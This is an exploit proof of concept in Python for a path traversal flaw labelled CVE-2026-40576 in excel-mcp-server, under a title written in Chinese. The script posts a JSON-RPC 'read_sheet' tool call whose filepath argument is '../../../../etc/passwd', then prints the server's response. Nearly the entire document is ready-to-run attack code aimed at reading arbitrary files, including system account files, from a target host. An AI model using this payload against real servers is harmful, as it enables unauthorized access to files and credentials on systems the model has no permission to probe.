CVE-2026-40576 excel-mcp-server路径遍历漏洞

import requests import json # Exploit Title: CVE-2026-40576 - excel-mcp-server Path Traversal # Description: PoC to read arbitrary files using path traversal. TARGET_URL = "http://target-host:port/sse" # Replace with actual target URL # The vulnerability affects any of the 25 exposed tool handlers. # We simulate a request to a handler that takes a 'filepath' argument. payload = { "method": "tools/call", "params": { "name": "read_sheet", # Example tool name "arguments": { "filepath": "../../../../etc/passwd" # Path traversal payload } } } try: headers = {'Content-Type': 'application/json'} response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")